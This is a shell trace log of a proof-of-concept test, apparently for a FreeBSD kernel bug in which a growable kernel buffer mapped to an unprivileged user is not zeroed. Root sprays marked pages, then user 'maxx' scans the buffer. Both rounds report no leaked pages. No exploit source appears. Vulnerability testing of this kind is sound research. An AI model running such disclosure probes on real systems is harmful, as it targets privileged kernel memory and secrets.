+ cd /root/df467x
+ kldstat
+ grep -q bktrig2
+ sysctl vm.stats.vm.v_free_count
vm.stats.vm.v_free_count: 795775
== fresh attach-mirror init (bzeroed 32-page initial buffer):
+ echo '== fresh attach-mirror init (bzeroed 32-page initial buffer):'
+ /home/maxx/df467x/poc_race --init
RIG_INIT: bigbuf=0xfffff80118ac4000 alloc_pages=32
== round 1: root sprays 2600 MiB of marked pages and exits
+ echo '== round 1: root sprays 2600 MiB of marked pages and exits'
+ /home/maxx/df467x/spray 2600 1
spray: dirtied 2600 MiB with tag=1 markers, exiting (pages -> PQ_FREE/PQ_CACHE, contents intact)
== round 1: UNPRIVILEGED grow + mmap + scan:
+ echo '== round 1: UNPRIVILEGED grow + mmap + scan:'
+ su maxx -c 'cd ~/df467x && ./poc_stalebuf 1'
uid=1001 euid=1001 round=1 (grow+mmap+read is unprivileged)
start: bigbuf=0xfffff80118ac4000 alloc_pages=32
[r1] grew to 33 pages (132 KiB) -- grow path did NOT bzero it
[r1] 0/33 pages non-zero; 0 pages with kernel pointers; 0 pages carrying the ROOT spray secret
[r1] grew to 48 pages (192 KiB) -- grow path did NOT bzero it
[r1] 0/48 pages non-zero; 0 pages with kernel pointers; 0 pages carrying the ROOT spray secret
[r1] grew to 64 pages (256 KiB) -- grow path did NOT bzero it
[r1] 0/64 pages non-zero; 0 pages with kernel pointers; 0 pages carrying the ROOT spray secret
[r1] grew to 96 pages (384 KiB) -- grow path did NOT bzero it
[r1] 0/96 pages non-zero; 0 pages with kernel pointers; 0 pages carrying the ROOT spray secret
[r1] grew to 128 pages (512 KiB) -- grow path did NOT bzero it
[r1] 0/128 pages non-zero; 0 pages with kernel pointers; 0 pages carrying the ROOT spray secret
[r1] grew to 192 pages (768 KiB) -- grow path did NOT bzero it
[r1] 0/192 pages non-zero; 0 pages with kernel pointers; 0 pages carrying the ROOT spray secret
[r1] grew to 256 pages (1024 KiB) -- grow path did NOT bzero it
[r1] 0/256 pages non-zero; 0 pages with kernel pointers; 0 pages carrying the ROOT spray secret
[r1] grew to 384 pages (1536 KiB) -- grow path did NOT bzero it
[r1] 0/384 pages non-zero; 0 pages with kernel pointers; 0 pages carrying the ROOT spray secret
[r1] grew to 511 pages (2044 KiB) -- grow path did NOT bzero it
[r1] 0/511 pages non-zero; 0 pages with kernel pointers; 0 pages carrying the ROOT spray secret

== RESULT round 1 ==
root-spray secret pages disclosed to unprivileged user: 0
RIG_INIT: bigbuf=0xfffff80118ac4000 alloc_pages=32
== round 2: root sprays 2600 MiB of marked pages and exits
+ /home/maxx/df467x/poc_race --init
+ echo '== round 2: root sprays 2600 MiB of marked pages and exits'
+ /home/maxx/df467x/spray 2600 2
spray: dirtied 2600 MiB with tag=2 markers, exiting (pages -> PQ_FREE/PQ_CACHE, contents intact)
== round 2: UNPRIVILEGED grow + mmap + scan:
+ echo '== round 2: UNPRIVILEGED grow + mmap + scan:'
+ su maxx -c 'cd ~/df467x && ./poc_stalebuf 2'
uid=1001 euid=1001 round=2 (grow+mmap+read is unprivileged)
start: bigbuf=0xfffff80118ac4000 alloc_pages=32
[r2] grew to 33 pages (132 KiB) -- grow path did NOT bzero it
[r2] 0/33 pages non-zero; 0 pages with kernel pointers; 0 pages carrying the ROOT spray secret
[r2] grew to 48 pages (192 KiB) -- grow path did NOT bzero it
[r2] 0/48 pages non-zero; 0 pages with kernel pointers; 0 pages carrying the ROOT spray secret
[r2] grew to 64 pages (256 KiB) -- grow path did NOT bzero it
[r2] 0/64 pages non-zero; 0 pages with kernel pointers; 0 pages carrying the ROOT spray secret
[r2] grew to 96 pages (384 KiB) -- grow path did NOT bzero it
[r2] 0/96 pages non-zero; 0 pages with kernel pointers; 0 pages carrying the ROOT spray secret
[r2] grew to 128 pages (512 KiB) -- grow path did NOT bzero it
[r2] 0/128 pages non-zero; 0 pages with kernel pointers; 0 pages carrying the ROOT spray secret
[r2] grew to 192 pages (768 KiB) -- grow path did NOT bzero it
[r2] 0/192 pages non-zero; 0 pages with kernel pointers; 0 pages carrying the ROOT spray secret
[r2] grew to 256 pages (1024 KiB) -- grow path did NOT bzero it
[r2] 0/256 pages non-zero; 0 pages with kernel pointers; 0 pages carrying the ROOT spray secret
[r2] grew to 384 pages (1536 KiB) -- grow path did NOT bzero it
[r2] 0/384 pages non-zero; 0 pages with kernel pointers; 0 pages carrying the ROOT spray secret
[r2] grew to 511 pages (2044 KiB) -- grow path did NOT bzero it
[r2] 0/511 pages non-zero; 0 pages with kernel pointers; 0 pages carrying the ROOT spray secret

== RESULT round 2 ==
root-spray secret pages disclosed to unprivileged user: 0
+ /home/maxx/df467x/poc_race --init
RIG_INIT: bigbuf=0xfffff80118ac4000 alloc_pages=32
+ sysctl vm.stats.vm.v_wire_count vm.stats.vm.v_free_count
vm.stats.vm.v_wire_count: 196699
vm.stats.vm.v_free_count: 795383